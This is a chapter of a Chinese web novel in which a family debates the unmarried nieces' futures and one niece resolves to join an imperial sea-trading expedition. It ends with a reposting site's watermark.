王三娘跟王小红又愁,但是也不是血海深仇,无非是些家长里短的小事,早在王小红自作自受去了后就忘得一干二净了,哪里会跟两个孩子过不去,再说,这事赵丰年是主谋,大胖也参与了,他们家还要指望着赵丰年过活,自然不会说出去。 赵来金就没想那么多了,两个侄女没死,在他看来就是好事。 晚上,赵丰年从宫里回来,见到一家人同样十分开心。 “孙儿接到消息的时候,正巧陛下听到了,就命御膳房赏下了不少好克化的糕点,让1带回来给爷、奶尝尝。” 赵老头满脸笑容,“御膳房就是戏文里说的皇宫里的厨房吧?我们宝儿当真是出息了,那爷可要好好尝尝皇宫里的糕点!” 一家人其乐融融地吃了一顿团圆饭。 到了第二日,张氏等人才见到了重孙子、重孙女。 阿彩在一月初的时候生下了一个女儿,小名阿淼,生得白白嫩嫩,一双浅褐色的眸子像是汪了一泉水,谁见了都稀罕得不行。 二胖媳妇还没开怀,见了小阿淼就不松手了,直说要生一个像阿淼一样可爱的女儿,二胖一听就否定了。 “那不成,阿淼生得好,是因为大嫂生得好,你我都黑,生不出阿淼这样白嫩的。” 一家人都乐得不行,二胖媳妇瞪了他一眼,没好气地继续逗阿淼了。 这个时候,张氏就愁起了两个孙女来。 “阿珠阿玉是妹妹,一阿玉招了婿,那孩子我们都见过,是个实在人,一家人经营纺织厂,日子过得有声有色,阿珠嫁给了你外甥,柳家兄弟都有出息,如今柳二是大商,一家人都搬去了府城,往后也是富贵不愁,可青青翠翠着实是被老二他们耽误了,我头先去北地的时候就想着,这往后两个女孩子可这么办,可那时候出了那样的糟心事,我也不敢提起来,生怕两孩子心里不好受,如今眼看着这些小的成亲的成亲,生孩子的生孩子,我的青青翠翠可如何是好啊!” 巧娘也是为难。 青青、翠翠都是有主见的,她虽然是婶娘,却是看着她们长大的,早就把两人当做了自己的孩子,如何不急,只是,青青前面还跟拓九有了些苗头,又是留在了北地,她本以为两人会在北地成亲,就连嫁妆都替她准备好了,谁成想,一直没个准信,而翠翠那头,她问过,青青只说翠翠有自己的想法,巧娘也不敢逼得太紧。 听完张氏的话,巧娘也意识到了,这事是不能再拖了,索性找了姐妹俩谈话。 青青听完,十分感动,但同样十分坚决。 “婶娘放心吧,倘若将来我想要成亲了,那我一定成亲,也一定会跟婶娘说,只是目前我还没做好准备,所以,婶娘不必替我担心,至于婶娘说的耽误青春什么的,倘若那人真有意,便不会在意这些,倘若无意,我也不强求。” 而翠翠更加简单明了。 “我不成亲的,我打算出海,弟弟答应我的。” 巧娘目瞪口呆,当晚就怒气冲冲地找到了赵丰年。 “你都跟翠翠说什么了?!怎么她说你应承了让她出海?!” 赵丰年起先没反应过来,弄清楚状况后就承认了。 “朝廷计划建造海船,组织商队出海探索,翠翠聪明伶俐,学什么都快,记忆也出众,尤其是她肯吃苦,又有探索精神,确实是个合适的人选,她听说了这个消息,就来问我,我答应了。” “可她是个女孩子,将来是要嫁人的!我从前听你说什么海不海的,都不知道什么东西,后面说是比江河还要大的水,你是要她当那些行商,在船上飘着啊!那都是男人干的活,她一个女孩子,怎么能去吃这种苦?” “我也想过这个问题,但是翠翠坚持,我会另派人保护照顾她,小尺哥也在出海商队名单上,路上也算有个照应。” 巧娘急了,“可,可是都是男子,她一个女孩子——” “娘,每个人追求的东西不一样,有些人希望在后院安安稳稳地过完一生,有的人想要翱翔见识更广阔的天地,这是=都是个人的选择,我们应该尊重并给予她们更多的支持,您觉得呢?” 巧娘愣了。 良久。 “怎么我们老赵家的女孩子就都这样特立独行呢,罢了罢了,我也劝不住了,总之,你要真心为了她好,就多安排些人吧。” 赵丰年笑了,“儿子省的,娘就放心吧。” 赵家其他人得知翠翠想要组建商队出海,都十分震惊,好在有了赵家其他女孩子的对比,就连赵老头、张氏都接受了。 “合着倒是我少见多怪了?”跟妯娌王三娘一起给孙子/孙女做小衣裳的时候,巧娘抱怨了一句。 “是你关心则乱了,我们谁都一样,都想不通也不愿意,只是,你想想,这是阿年答应的,还能更改了?你看看陈莲家,带着两个女儿,说立女户就立女户了,招婿也是,阿玉成亲后照样忙活生意,阿珠吧,前几年没怀上孩子的时候还跟着柳二跑商呢,赵小云那丫头就更别提了,直接接手了商队在北地做大买卖,这些事里头,桩桩件件的,哪里没有阿年的掺合?青青翠翠又是一直跟着你们一起生活的,听说前面在北地阿年还让她们管着衙门的事?这眼界早就跟旁人家的姑娘不同了,你怎么能要求她们乖乖成亲嫁人操持后院那点事呢,我听说都觉得委屈了两人。” 巧娘大为惊讶,想不到这番话居然是王三娘口中能说出来的。 “嗨,这有啥,我如今也算是见识多了,日子也舒坦,没什么好愁的,就想着他们都开开心心过日子,我就满足了。” 可不是,只要他们自己开心,如今家里也不是没这个条件,孩子想做什么就做什么吧,总归就算不嫁人了,家里也养得起。 巧娘终于是相通了。 而傅轻雪这边,却有些羡慕。 “倘若我能早些遇到你,我应该也能早些鼓起勇气去做我自己想做的吧。” 赵丰年惊讶,“你如今也可以做你想做的啊?还是说,你也想出海?” 傅轻雪笑着摇摇头,“我可没那么大的勇气,不过,翠翠想要出海,我可以跟她合作,我来为她提供人,也算是圆了我的梦吧。” “以后,等朝廷用不上我了,咱们一起,也出海瞧瞧。” 傅轻雪笑了,“这话说的,赵大人可是陛下眼前的红人,说这丧气话?” 赵丰年也笑。 “什么时候大夏正正能做到了百姓安居乐业,于外,无敌敢犯,于内,吏治清明,四海安康,盛世无忧,我就能安心功成身退了。” “赵大人的抱负还真是大公无私,但我希望你的愿望能实现。” “我也希望。” 皇宫里,永兴帝得知了赵丰年这番话,久久不能回神。 “赵爱卿之愿,亦朕之所愿也。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&